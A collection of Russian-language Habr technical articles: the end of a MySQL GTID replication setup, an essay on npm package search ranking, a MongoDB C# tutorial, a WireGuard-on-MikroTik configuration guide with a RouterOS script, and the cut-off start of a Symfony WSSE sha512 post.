server-uuid=51164157-b6c9-11e5-bb7c-4e745964e860
```
В дальнейшем, когда Master-сервер формирует транзакции запросов, выполненных над реплицируемой базой данных, он нумерует каждую из них следующим образом:
```
GTID = source_id:transaction_id
51164157-b6c9-11e5-bb7c-4e745964e860:23
```
С помощью этих идентификаторов в дальнейшем мы сможем различать логи между собой и разрешать конфликтные ситуации между противоречивыми запросами из с разных серверов.
Теперь когда основные моменты оговорены, пора взяться за дело и начать настройку серверов. Конфигурации в студию.
Конфигурация master-сервера:
```
# Replication master settings
# ID сервера
server-id = 2
# определяем где будут лежать бинарные логи для транзакций
log-bin = /var/lib/mysql/mysql-bin.log
# Включаем GTID транзакции, не забываем что нам нужно перегенерить server-uuid в auto.cnf
gtid-mode = ON
enforce-gtid-consistency = ON
# Список реплицируемых баз данных
binlog-do-db = crm
# Список не реплицируемых баз данных
binlog-ignore-db = mysql
binlog-ignore-db = sys
binlog-ignore-db = performance_schema
binlog-ignore-db = information_schema
```
Не забываем создать пользователя для репликации и наделить его соответствующими правами:
```
CREATE USER 'slave_user'@'%' IDENTIFIED BY 'slavepass';
GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%';
```
Проверяем состояние мастера:
```
mysql> show master status;
+------------------+----------+--------------+----------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+----------------------+-------------------+
| mysql-bin.000001 | 154 | crm | mysql,sys, | |
| | | | performance_schema, | |
| | | | information_schema | |
+------------------+----------+--------------+----------------------+-------------------+
1 row in set (0,00 sec)
```
Конфигурация slave-сервера:
```
# Replication Slave settings
# Номер сервера
server-id = 1
# Включаем GTID транзакции, не забываем следить чтобы в auto.cnf был перегенерен server-uuid
gtid-mode = on
enforce_gtid_consistency = on
# Включаем хранение информации о логах через служебные таблицы, а не через файлы
master-info-repository = TABLE
relay-log-info-repository = TABLE
# Определение пути хранения логов
relay-log = /var/lib/mysql/mysql-relay-bin.log
# Путь к bin логу на Мастере
log-bin = /var/lib/mysql/mysql-bin.log
# Базы данных для репликации
binlog-do-db = crm
# Список баз не реплицируемых баз данных
binlog-ignore-db = mysql
binlog-ignore-db = sys
binlog-ignore-db = information_schema
binlog-ignore-db = performance_schema
```
Запускаем репликацию:
```
CHANGE MASTER TO MASTER_HOST='10.20.0.41', MASTER_USER='slave_user', MASTER_PORT=3306, MASTER_PASSWORD='slavepass', MASTER_AUTO_POSITION = 1 FOR CHANNEL 'master1';
CHANGE MASTER TO MASTER_HOST='10.20.0.42', MASTER_USER='slave_user', MASTER_PORT=3306, MASTER_PASSWORD='slavepass', MASTER_AUTO_POSITION = 1 FOR CHANNEL 'master2';
START SLAVE FOR CHANNEL "master1";
START SLAVE FOR CHANNEL "master2";
```
Проверяем статус Slave-сервера:
```
SHOW SLAVE STATUS\G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 10.20.0.41
Master_User: slave_user
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: mysql-bin.000001
Read_Master_Log_Pos: 154
Relay_Log_File: mysql-relay-bin-master1.000002
Relay_Log_Pos: 367
Relay_Master_Log_File: mysql-bin.000001
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 154
Relay_Log_Space: 582
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 0
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 0
Last_SQL_Error:
Replicate_Ignore_Server_Ids:
Master_Server_Id: 3
Master_UUID: 73f11a40-b862-11e5-8b0c-1e80294d0535
Master_Info_File: mysql.slave_master_info
SQL_Delay: 0
SQL_Remaining_Delay: NULL
Slave_SQL_Running_State: Slave has read all relay log; waiting for more updates
Master_Retry_Count: 86400
Master_Bind:
Last_IO_Error_Timestamp:
Last_SQL_Error_Timestamp:
Master_SSL_Crl:
Master_SSL_Crlpath:
Retrieved_Gtid_Set:
Executed_Gtid_Set:
Auto_Position: 1
Replicate_Rewrite_DB:
Channel_Name: master1
Master_TLS_Version:
*************************** 2. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 10.20.0.42
Master_User: slave_user
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: mysql-bin.000001
Read_Master_Log_Pos: 154
Relay_Log_File: mysql-relay-bin-master2.000002
Relay_Log_Pos: 367
Relay_Master_Log_File: mysql-bin.000001
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 154
Relay_Log_Space: 582
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 0
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 0
Last_SQL_Error:
Replicate_Ignore_Server_Ids:
Master_Server_Id: 2
Master_UUID: 51164157-b6c9-11e5-bb7c-4e745964e860
Master_Info_File: mysql.slave_master_info
SQL_Delay: 0
SQL_Remaining_Delay: NULL
Slave_SQL_Running_State: Slave has read all relay log; waiting for more updates
Master_Retry_Count: 86400
Master_Bind:
Last_IO_Error_Timestamp:
Last_SQL_Error_Timestamp:
Master_SSL_Crl:
Master_SSL_Crlpath:
Retrieved_Gtid_Set:
Executed_Gtid_Set:
Auto_Position: 1
Replicate_Rewrite_DB:
Channel_Name: master2
Master_TLS_Version:
2 rows in set (0,00 sec)
```
Вуаля, всё работает, а нам того и надо. Всем удачи. | https://habr.com/ru/post/276581/ | null | ru | null |
# SEO npm-пакета: почему важно правильно настраивать конфиг и писать тесты
Не так давно я опубликовал [статью](https://habr.com/ru/post/517340/) о своем CLI для React-компонент, который для меня стал первым публичным npm-пакетом. И так как мне хотелось поделиться своими наработками с как можно большим кругом разработчиков я начал изучать разные способы улучшения своей позиции в поисковой выдаче на разных специализированных сайтах. В попытках улучшить свое положение я опирался на поиск в [npm](https://www.npmjs.com/), [yarn](https://yarnpkg.com/) и [npms](https://npms.io/). И если вы сейчас откроете [страничку моего пакета](https://www.npmjs.com/package/reactcci) в любом из этих трех сайтов, то результаты там будут, к сожалению, достаточно скромными и я попробую объяснить почему и порассуждаю на эту тему.
Popularity, quality, maintainance
---------------------------------
Если мы сделаем поиск в npm по любому запросу, то напротив каждого из пакетов будет указан набор из трех характеристик: popularity, quality и maintainance. Они в каком-то роде напоминают значения по пирам и сидам на каком-нибудь торрент-трекере и в достаточной мере влияют на выдачу и на последующий выбор людей.
Popularity рейтинг достаточно очевидный и связан напрямую со скачиванием пакета, со звездочками на гитхабе, с количеством форков и подписчиков у автора. Все подробности можно [почитать на сайте npms](https://npms.io/about).
Так как у нас пакет новый то popularity у нас само собой будет на нуле, поэтому будем смотреть на остальные два рейтинга. Quality мы оставим на десерт, а сначала поговорим о maintainance. И тут все достаточно просто, он отображает состояние пакета с точки зрения разработки. Либо его активно разрабатывают и поддерживают, либо на него забили и не занимаются. Тут учитывается то, как часто происходят коммиты, релизы, насколько много issue и как быстро они закрываются. В целом вроде все просто, но если в npms у меня этот показатель заполнен на 100%, потому что я активно дорабатываю пакет и прикручиваю новые фишки почти каждую неделю, то в npm у меня этот рейтинг только 33%. И как бы я не старался, выше он не поднимается. Более того, если взять любой другой популярный генератор кода, то окажется что все эти пакеты имеют данный рейтинг тоже равный 33%, что выглядит немного подозрительным. Даже у самого React этот рейтинг такой же.
Popularity у нас на нуле, maintainance на максимум, а что с quality? А тут все гораздо интереснее. Изначально я писал свою CLI на чистом js и без тестов. Но к тому моменту, когда я решил вытащить её в публичное поле я уже переписал её на Typescript и более или менее причесал, но все еще тестов не было. И я точно не помню сколько у меня был этот показатель качества, но думаю был примерно в районе 20%. Сейчас же я его разогнал до 61% и могу немного рассказать, как этого можно добиться. Причем я пытался применять сразу несколько практик одновременно, поэтому я до конца не уверен все ли они влияют, но даже если нет, то в целом это стоит того чтобы добавить в свой проект, если вы тоже решитесь опубликовать пакет.
У меня получился следующий список настроек:
1. В проекте должен быть настроен линтер. Я лично использую ESLint, возможно с TSLint пакетные менеджеры тоже нормально детектят.
2. Стоит написать хороший `readme.md`и `changelog.md` и поддерживать их в актуальном состоянии
3. Стоит добавить файл лицензии
4. Не лишним будет добавить файл `.editorconfig` Не факт что оно влияет на рейтинг, но пригодиться если кто-то решит вам помочь с вашим пакетом. Хотя и линтер тоже с этим поможет.
5. Также я подключил свой проект на github к [Travis](https://travis-ci.org/github/coolassassin/reactcci) и создал для него конфиг с помощью файла `.travis.yml`. Когда я его подключал я преследовал исключительно цель попробовать подняться в рейтинге, однако это оказалось достаточно неплохим инструментом тестирования. Более того, в моем CLI очень важно чтобы все корректно работало как на Linux так и на Windows и для меня оказалось приятной неожиданностью, когда Travis прогнал мои тесты у себя на Linux и я поймал баг, о котором совсем не знал, потому что разрабатываю под виндой.
6. Не уверен что это влияет на рейтинг, но достаточно важно корректно заполнить файл `package.json`. Указать в нем все скрипты, главный файл, описание и теги.
Ну и конечно помимо банальных настроек проекта нужно писать тесты. И чтобы рейтинг поднялся высоко, покрытие должно быть очень высоким. Как я уже сказал выше, итоговый рейтинг в npm у меня вышел равным 61%, при этом покрытие тестами у меня всего лишь 49%, ну и есть все эти настройки, указанные выше. На nmps все получше, там у меня 96%. Само собой, в первую очередь, я покрыл критическую функциональность пакета, поскольку с каждой новой фичей тестировать все кейсы становится все сложнее и сложнее, хотя в некоторых случаях я откровенно читерил и покрывал тестами файлы, в которых максимально сложно совершить ошибку, но зато тесты пишутся легко и покрытие растет очень дешево.
Цифры или PR
------------
Ну хорошо, настроили мы проект, пушим в него часто и фиксим оперативно все баги, покрываем тестами, но что-то никто не приходит скачивать наш пакет. Открываем поиск того же npm, вбиваем релевантный запрос для нашего пакета и начинаем листать страницы: 1, 2, 3,... 21. Находим наш пакет на какой-нибудь очень далекой странице и как нам понять что пошло не так?
Начну, пожалуй, с одной забавной истории про одно поле. Когда я всеми силами пытался вытащить свой пакет в первые строчки yarn, я настраивал проект, писал тесты, выбирал теги получше и улучшал readme. Писал посты на reddit и пиарил пакет среди коллег. Из кожи вон лез, но пакет качали очень слабо, где-то скачиваний 20-30 в день было. И хоть даже это меня радовало, хотелось узнать, как на это повлиять и я начал смотреть что есть в пакетах «конкурентов». Многие пакеты в поиске по релевантному для меня запросу были вообще не подходящими по сути и делали совершенно не то, что я как бы пытаюсь искать, но тем не менее были выше и я пытался выяснить почему. Первое что достаточно сомнительно выстреливает, когда мы говорим о поиске - это то что мелкие, крайне бесполезные пакеты, в которых 150 строк кода, покрытых тестами, вылезают в топ за счет невероятно высокого покрытия. Часто бывало так что у меня только index файл был длиннее чем пакеты, которые обходили меня в рейтинге, хотя при этом и популярными они тоже не были, потому что такой пакет может написать каждый за парочку часов. И вот я натыкаюсь на очередной пакет, который крайне маленький, бесполезный, но почему-то находящийся выше в yarn. Стало очень любопытно и я начал проглядывать каждый файл репозитория и сравнивать настройки со своими. И тут я вижу что единственное отличие моей репки, от репки конкурента - это поле description в package.json. Ну, я подумал, что вряд ли это мне как-то поможет, но почему бы его не добавить, а то я как-то про него забыл. В общем добавляю поле и на следующий день бац и +200 скачиваний, потом еще больше и еще. Более того, по одному из запросов в yarn я находился на 23 станице до которой вряд ли бы кто-то дошел, пытаясь найти нужный пакет, но, указав это поле, пакет оказался буквально на первой строчке поисковика.
После такого успеха и роста до двух тысяч скачиваний в месяц и почти тысячи скачиваний за неделю, в одном из моментов, я подумал, что, кажется, я поддал нужного количества углей в эту PR печку и оно дальше как-то само пойдет. Тем более я заходил в соседние пакеты, поглядывал на их issue и с довольным видом продолжал работать над своим продуктом, потому что у меня эти фичи были реализованы из коробки. Но шло время, и весь этот мощный буст превратился в невероятный спад. С каждым днем кривая скачиваний спускалась все ниже, и ниже и я пытался разобраться в том что сделал не так, но точного понимания этого у меня до сих пор нет.
В каком-то смысле все эти настройки пакета реально работают и улучшают позицию в разного рода выдачах, с другой стороны в чистом виде оно тоже работает плохо и даже с учетом того что спустя время у меня появились и звезды на [github](https://github.com/coolassassin/reactcci) и целая гора новых фич, оно все еще где-то висит далеко не на первых строчках в поиске, все еще очень слабо скачивается. И кажется, что все-таки сам по себе поиск плохо работает и чтобы пакет стал реально популярным, нужно хорошо так его прорекламировать. Так что если вдруг соберетесь что-то подобное разрабатывать, то готовьтесь к чему-то такому.
Возможно, мне стоило разместить пакет в домене моей компании, поскольку я его делал в первую очередь для работы и вполне возможно это дало бы больший буст. Возможно, есть какие-то скрытые механизмы регуляции о которых я не знаю, поскольку подобная динамика видна во многих пакетах. Сначала резкий всплеск популярности, а потом спад до какого-то плато, которое очень неспешно ползет вверх. Может быть там есть какая-то акселерация на ранних этапах.
Кто-то может сказать, что это из-за того что эта функциональность никому не нужна. И этот кто-то тоже окажется не прав, поскольку есть другие пакеты, которые решают схожую задачу, далеко не всегда лучше, но при этом имеют 15 тысяч скачиваний в месяц и более. Хотя, конечно там более старые, известные проекты, которые имеют не одну публикацию в интернете и много коллабораторов на github.
В целом я не удивлен что все работает именно так, поскольку если бы я зашел на страничку пакета у которого 150 скачиваний в неделю, я бы скорее всего тоже даже описание не начал бы читать, поскольку все мы привыкли доверять чему-то очень популярному и проверенному, даже если у этого чего-то 200 issue.
Надеюсь эта статья поможет кому-то улучшить свой публичный npm-пакет или изменит ваш взгляд на то, что значат все эти цифры, когда вы в очередной раз решите поискать решения своей задачи на просторах интернета. Но несмотря на это все, не стоит забывать о том, что, в любом случае, продать что-то никому ненужное и некачественное все равно не получится и стоит сфокусироваться в первую очередь на продукте, а там уже спустя какое-то время, если пакет действительно чего-то стоит, его аудитория найдется, пусть и не сразу. | https://habr.com/ru/post/518034/ | null | ru | null |
# Поработаем с MongoDb
В текущее время появляется всё больше high-load проектов оперирующие колоссальным объемом данных. И уже нельзя обойтись классической реляционной моделью хранения этой информации. Всё более популярными становятся NoSQL базы данных (NoSQL — обозначает Not only SQL). Одной из таких баз данных является MongoDB, которая уже заслужила внимание к себе таких компаний как [Disney, craiglist, foursquare](http://www.mongodb.org/display/DOCS/Production+Deployments). К тому же тут неоднократно писали о ней:
[NoSQL, используя MongoDB, NoRM и ASP.NET MVC](http://habrahabr.ru/blogs/aspnet_mvc/93598/)
[Шардинг MongoDB на пальцах](http://habrahabr.ru/blogs/nosql/108144/)
[Репликация MongoDB на пальцах](http://habrahabr.ru/blogs/nosql/108225/)
Это еще одна статья о работе с MongoDb в среде .net.
Что потребуется:
1. Скачайте (<http://www.mongodb.org/downloads>), распакуйте и запустите mongod (это сервер)
2. Драйвер (<https://github.com/mongodb/mongo-csharp-driver/downloads>)
3. Поехали
Создание базы данных.
---------------------
По умолчанию база данных находится в папке c:/data/db
Запустим mongo.exe и создадим новую базу данных:
```
use mongoblog
```
Сразу же установим параметры доступа (имя пользователя и пароль):
```
db.addUser("admin", "masterkey")
```
Особенностью MongoDb является то, что это документо-ориентированная база данных, и не содержит информацию о структуре, так что тут мы закончили. Сразу переходим к описанию моделей данных.
У нас будет две сущности Article (Статья) и Comment (Комментарий), и Статья будет содержать множество Комментариев:
```
public partial class Article
{
[BsonId]
public ObjectId Id { get; set; } //указывает что это свойство - id поле объекта
public string Url { get; set; }
public string Title { get; set; }
public string Teaser { get; set; }
public string Content { get; set; }
public DateTime AddedDate { get; set; }
public List Tags { get; set; }
public bool IsPublished { get; set; }
public string Bulk { get; set; }
public List Comments { get; set; }
public Article()
{
Id = ObjectId.GenerateNewId();
Tags = new List();
Comments = new List();
}
}
public partial class Comment {
[BsonId]
public ObjectId Id { get; set; } //указывает что это свойство - id поле объекта
public DateTime AddedDate { get; set; }
public string Content { get; set; }
public Comment() {
Id = ObjectId.GenerateNewId();
}
}
```
Далее рассмотрим работу с MongoDB:
* подключение к Mongo
* добавление статьи
* изменение статьи
* индексация
* удаление статьи
* вывод статей (фильтрация/пейджинг/сортировка)
* добавление комментариев
* удаление комметариев
* поиск
* бекап базы
### #1 Подключение к базе.
По умолчанию база занимает порт 27017 на сервере (у нас как обычно localhost). Подключаемся к базе:
```
public MongoDBContext(string ConnectionString, string User, string Password, string Database)
{
var mongoUrlBuilder = new MongoUrlBuilder(ConnectionString);
server = MongoServer.Create(mongoUrlBuilder.ToMongoUrl());
MongoCredentials credentials = new MongoCredentials(User, Password);
database = server.GetDatabase(Database, credentials);
}
```
### #2/#3 Добавление/изменение записи
Для добавления объекта в коллекцию необходимо получить коллекцию по имени
```
var collection = database.GetCollection(table);
```
Для добавления можно выполнить команду:
```
collection.Insert(obj);
```
или (как и для изменения)
```
collection.Save(obj);
```
MongoDb самостоятельно добавляет поле \_id — уникальный параметр. Если при выполнении команды Save у объекта будет Id существующий уже в коллекции, то выполнится апдейт этого объекта.
### #4 Индексация
Для быстрого поиска мы можем добавить индекс по какому-либо полю. Для индексации используется команда
```
collection.EnsureIndex(IndexKeys.Descending("AddedDate"));
```
Это ускорит сортировку по этому полю.
### #5 Удаление
Для удаления по id создается запрос (Query). В данном случае это
```
var query = Query.EQ("_id", id)
```
и выполняется команда:
```
collection.Remove(query);
```
### #6 Вывод статей
Для вывода значений применив фильтр и отсортированных, да еще и с пейджингом используется курсор.
Например чтобы выбрать из коллекции неудаленные (IsDeleted = false) отсортированные по дате убывания (AddedDate desc) 10ю страницу (пропускаем 90 элементов и выводим 10 следующих) составляется такой курсор:
```
var cursor = collection.Find(Query.EQ("IsDeleted", false));
cursor.SetSortOrder(SortBy.Descending("AddedDate"));
cursor.Skip = 90;
cursor.Limit = 10;
foreach (var obj in cursor)
{
yield return obj;
}
```
### #7 Добавление комментариев.
Так как MongoDb — документо-ориентированная база данных, то не существует отдельной таблицы с комменатариями, а комментарий добавляется в массив комментариев в статье, после чего статья сохраняется:
```
var article = db.GetByID("Articles", articleId);
comment.AddedDate = DateTime.Now;
article.Comments.Add(comment);
db.Save("Articles", article);
```
### #8 Удаление комментария.
Комментарий удаляется точно так же. Мы получаем объект article, удаляем из списка комментариев текущий комментарий и сохраняем объект.
### #9 Поиск.
Для того чтобы найти элемент содержащий заданную подстроку необходимо задать следующий запрос:
```
Query.Matches("Text", @".*искомое слово.*").
```
Есть 2 проблемы так как поиск учитывает регистр, т.е. Петя != петя, и к тому же у нас есть много полей.
Первую проблему можно решить [использовав регулярные выражения](http://stackoverflow.com/questions/1863399/mongodb-is-it-possible-to-make-a-case-insensitive-query)
Но чтобы избавится от обеих проблем сразу я создал поле Bulk куда в нижнем регистре записываются все поля + комментарии и ищу по этому полю.
### #10 Бекап базы.
Именно бекап а не репликация. Для того чтобы иметь доступ к файлу базы данных нужно выполнить lock (база продолжит работать, только в этот момент все команды записи будут кешироваться, чтобы потом выполнится). После чего базу данных можно скопировать, заархивировать и выложить на ftp. После этой процедуры базу надо разлочить (Unlock).
Команды:
```
public void Lock()
{
var command = new CommandDocument();
command.Add("fsync", 1);
command.Add("lock", 1);
var collection = server.AdminDatabase.RunCommand(command);
}
public void Unlock()
{
var collection = server.AdminDatabase.GetCollection("$cmd.sys.unlock");
collection.FindOne();
}
```
Если что-то пойдет не так, то сервер БД надо будет перезапустить с командой:
```
mongod --repair
```
Исходники
---------
Пробное приложение (на asp.net mvc) можно найти по адресу:
<https://bitbucket.org/chernikov/mongodbblog>
Да, и по поводу производительности по отношению к остальным вот [ссылка](http://www.michaelckennedy.net/blog/2010/04/29/MongoDBVsSQLServer2008PerformanceShowdown.aspx). | https://habr.com/ru/post/127290/ | null | ru | null |
# Настройка WireGuard на Mikrotik
Что такое WireGuard
-------------------
Если не касаться wiki и официального сайта, и объяснять как можно проще, то это VPN туннелирование через UDP.
Это возможность быстро, максимально просто и надёжно, с хорошим уровнем безопасности соединить две точки между собой.
Соединение одноранговое, открытый исходный код, и полу-автоматизированное создание маршрутов(для некоторых клиентов) - что еще нужно, для счастья ;)
Возможность использовать WireGuard появилась в mikrotik начиная с седьмой версии RouterOS.
Как работает подключение (простым языком)
-----------------------------------------
У нас есть две точки:
* Точка А с внешним адресом 111.111.111.111
* Точка Б с внешним адресом 222.222.222.222
С точки зрения WireGuard эти адреса называются `Endpoint`.
Также у точек есть внутренние сети или LAN:
* Точка А. 192.168.100.0/24
* Точка Б. 192.168.200.0/24
Эти сети мы и хотим связать между собой. Для WireGuard это называется `AllowedAddress`, или разрешенные адреса для точки. Для Точки А нам нужно будет указать разрешенные адреса - 192.168.200.0/24. Для Точки Б, соответственно - 192.168.100.0/24
Помимо этого мы должны определить для точек А и Б их адреса. Они используются для интерфейса, который создает WireGuard и передачи внутри протокола. В настройках большинства клиентов это будет называться `Address`. В mikrotik мы создадим отдельный адрес.
* Точка А. 10.10.10.1
* Точка Б. 10.10.11.1
Всё! Этого достаточно для создания подключения и его работы.
В итоге всё это будет выглядеть так:
Краткая схема работы WireGuardОтличия WireGuard и OpenVPN
---------------------------
Я не являются специалистом по сетевым протоколов и криптографических систем, поэтому не могу дать детальное сравнение этих решений. Но могу выделить несколько основных отличий для меня, как пользователя и администратора:
* В WireGuard не нужно создавать сертификаты, в отличии от OpenVpn, и следить за ними. Это и плюс и минус в зависимости от цели использования.
* В WireGuard создаются одноранговые соединения, где каждая точка может быть как сервером так и клиентом. Это позволяет создавать, помимо классических "звёзд", ещё и mesh сети.
* OpenVPN позволяет более тонко управлять клиентами и их подключениями. Например, можно индивидуально раздавать маршруты и DNS-серверы для клиентов. WireGuard так не умеет.
* Отдельно для mikrotik есть недостаток в том, что для каждой подсети нужно настраивать маршруты. Для win-клиентов они определяются и задаются исходя из `AllowedAddress`.
В целом я для себя сделал вывод, что для внешних пользователей удобнее и, возможно, безопаснее использовать OpenVPN. А для железных(ака аппаратных) или программных роутеров и их связи между собой удобнее WireGuard. По принципу - настроил и забыл.
Подготовка к настройке
----------------------
Для начала нужно убедится в том, что наш роутер Mikrotik умеет работать с WireGuard. Далее я буду показывать на примере интерфейса winbox. Если Вы пользуете командную строку, то Вы, скорее всего, сами сможете определить наличие WireGuard.
Проверить, это можно просто взглянув на пункты меню (актуально для версии 7.5):
Обновить можно попробовать так:
стандартный способ обновленияЕсли так не получилось, то смотрите свою версию в заголовке winbox устройства
в данном случае это mipsbeи идите на [официальный сайт mikrotik](https://mikrotik.com/download) для скачивания последней версии ОС.
Коротко, как обновить через загрузку файла на Mikrotik:
Если у Вас много точек и так же для удобства настройки и дальнейшего обслуживания я рекомендую создать Вам подобную таблицу:
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| Name | Address | Endpoint | EndpointIp | AllowedIPs | ListenPort | PrivateKey | PublicKey |
| PointA | 10.10.10.1 | [www.pointA.com](http://www.pointa.com/) | 222.222.222.222 | 10.10.11.1/32,192.168.200.0/24 | 13231 | | ucwL8IWLNYrPHOu9qk70ZOagPgjJXhzvvkg7ZLooaj4= |
| PointB | 10.10.11.1 | [www.pointB.com](http://www.pointa.com/) | 111.111.111.111 | 10.10.10.1/32,192.168.100.0/24 | 13231 | | FxNwKIFINspWh5pkoFpS5LzNKMDjkqcAV/Ypo2Ed8ys= |
Вам так будет проще ориентироваться в дальнейшем
Настройка WireGuard на Mikrotik
-------------------------------
Итак, у Вас есть WireGuard на Mikrotik, и теперь мы можем начать настройку.
Прежде всего нам нужно создать интерфейс, чтобы получить публичный ключ или `Public Key`. Я ранее про него не писал умышленно, чтобы было проще понять принцип работы WireGuard.
Но без публичного ключа установить соединение не получится. Он служит ключом шифрования и, можно сказать, паролем точки и для каждой точки он должен быть уникальным. При создании интерфейса он генерируется автоматически, так что Вам не нужно об этом переживать:
Создаем интерфейсы и копируем публичные ключиСоздаем интерфейсы и копируем себе публичные ключи.
Скрипт для быстрой настройки
----------------------------
Далее я дам два варианта настройки простой и быстрый, и немного подольше. Для начала простой, которым пользуюсь сам. Вот скрипт который, я сделал для Вашего удобства:
```
# EXAMPLE start
# Peer A params
# Name peerAname "PointA"
# Interaface Address peerAifAddress "10.10.10.1/24"
# AllowedIPs peerAallowed 10.10.11.1/32,192.168.200.0/24
# EndPoint peerAendAddress "111.111.111.111"
# EndPort peerAendPort 13231
# PublicKey peerAkey "ucwL8IWLNYrPHOu9qk70ZOagPgjJXhzvvkg7ZLooaj4="
# Peer B params
# Name peerBname "PointB"
# Interaface peerBif "PointB"
# AllowedIPs peerBallowed 10.10.10.1/32,192.168.100.0/24
# EndPoint peerBendAddress "222.222.222.222"
# EndPort 13231
# PublicKey "FxNwKIFINspWh5pkoFpS5LzNKMDjkqcAV/Ypo2Ed8ys="
# EXAMPLE end
{
# Peer A params
# SET PARAMS HERE
:local peerAname "PointA"
:local peerAifAddress "10.10.10.1/24"
:local peerAallowed 10.10.11.1/32,192.168.200.0/24
:local peerAendAddress "111.111.111.111"
:local peerAendPort 13231
:local peerAkey "ucwL8IWLNYrPHOu9qk70ZOagPgjJXhzvvkg7ZLooaj4="
# Peer B params
:local peerBname "PointB"
:local peerBifAddress "10.10.11.1/24"
:local peerBallowed 10.10.10.1/32,192.168.100.0/24
:local peerBendAddress "222.222.222.222"
:local peerBendPort 13231
:local peerBkey "FxNwKIFINspWh5pkoFpS5LzNKMDjkqcAV/Ypo2Ed8ys="
# start select
:local input do={:put $input;:return}
:local selectedPeer [$input "Enter current Peer A or B"]
:put "You select is $selectedPeer. Finished!"
# end select
{
# start for A
:if ($selectedPeer = "A") do={
# add address
/ip address
add address=$peerAifAddress interface=$peerAname comment=$peerAname
# add firewall rule
/ip firewall filter
add action=accept chain=input dst-port=$peerAendPort in-interface-list=WAN protocol=udp comment="WireGuard $peerAname"
# add peer
/interface/wireguard/peers
add allowed-address=$peerBallowed endpoint-address=$peerBendAddress endpoint-port=$peerBendPort interface=$peerAname public-key=$peerBkey persistent-keepalive=10 comment=$peerBname
# add route
/ip/route
:foreach peer in=$peerBallowed do={
add dst-address=$peer gateway=$peerAname comment=$peerBname
}
}
# end for A
# start for B
:if ($selectedPeer = "B") do={
# add address
/ip address
add address=$peerBifAddress interface=$peerBname comment=$peerBname
# add firewall rule
/ip firewall filter
add action=accept chain=input dst-port=$peerBendPort in-interface-list=WAN protocol=udp comment="WireGuard $peerBname"
# add peer
/interface/wireguard/peers
add allowed-address=$peerAallowed endpoint-address=$peerAendAddress endpoint-port=$peerAendPort interface=$peerBname public-key=$peerAkey persistent-keepalive=10 comment=$peerAname
# add route
/ip/route
:foreach peer in=$peerAallowed do={
add dst-address=$peer gateway=$peerBname comment=$peerAname
}
}
# end for B
}
}
```
Его можно запускать прямо из терминала, либо из winbox открыв терминал. Так же вы можете добавить его в `System -> Scripts` и запустить из терминала, но так как это разовая процедура, не вижу в этом особого смысла.
**Для начала внесите все необходимые параметры в строки переменных** `:local`, затем скопируйте и вставьте скрипт в терминал. Вам нужно будет только выбрать точку в которой вы находитесь `А` или `B`. Введите её и нажмите `Enter`.
Так нужно будет повторить в каждой точке!
Скрипт создаёт `address`, правило firewall для доступа из вне по списку `interface list` `WAN`. Список интерфейсов `WAN` создаётся по умолчанию. Если его нет, то добавьте.
Далее, скрипт создаёт настройки точки `Peers` для подключения и добавляет все необходимые маршруты `Routes`, которые берёт из `Allowed Address`
Ну или вы можете прописать всё руками по следующим скриншотам:
Создаём адрес и подсеть для нашего интерфейсаСоздаём правило FirewallПрописываем маршрутыДобавляем точку к которой хотим подключитсяНадеюсь эта статья помогла кому-то быстро всё понять и настроить. Так как я на понимание, тесты и настройку потратил минимум один день, а то и больше.
И в конце добавлю общую схему со всеми параметрами:
Общая схема работы и настройки WireGuard | https://habr.com/ru/post/702164/ | null | ru | null |
# Поддержка sha512 в wsse-authentication-bundle от Escape Studios, Symfony2
Недавно встала задача повышения безопасности при создании токена, а также поддержки sha512. Статья получилась узконаправленная, но я уверен, что сталкиваюсь с подобным не только я.
Для решения текущих задач при программировании API интернет-магазина на Symfony2 решил подружить [FOSUserBundle](https://github.com/FriendsOfSymfony/FOSUserBundle) и [WSSEAuthenticationBundle](https://github.com/escapestudios/EscapeWSSEAuthenticationBundle) c алгоритмом *sha512* и вскоре выяснил, что для этого потребуется небольшая доработка. Об этом и пойдет речь в моей статье.
#### Базовые настройки:
```
app/config/config.yml
fos_user:
db_driver: orm
firewall_name: wsse_secured
user_class: Acme\DemoBundle\Entity\User
# Escape WSSE authentication configuration
escape_wsse_authentication:
authentication_provider_class: Escape\WSSEAuthenticationBundle\Security\Core\Authentication\Provider\Provider
authentication_listener_class: Escape\WSSEAuthenticationBundle\Security\Http\Firewall\Listener
authentication_entry_point_class: Escape\WSSEAuthenticationBundle\Security\Http\EntryPoint\EntryPoint
authentication_encoder_class: Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder
app/config/security.yml
security:
providers:
fos_userbundle:
id: fos_user.user_provider.username
encoders:
FOS\UserBundle\Model\UserInterface: sha512
firewalls:
wsse_secured:
pattern: ^/api/.*
wsse:
lifetime: 300 #lifetime of nonce
realm: "Secured API" #identifies the set of resources to which the authentication information will apply (WWW-Authenticate)
profile: "UsernameToken" #WSSE profile (WWW-Authenticate)
encoder: #digest algorithm
algorithm: sha512
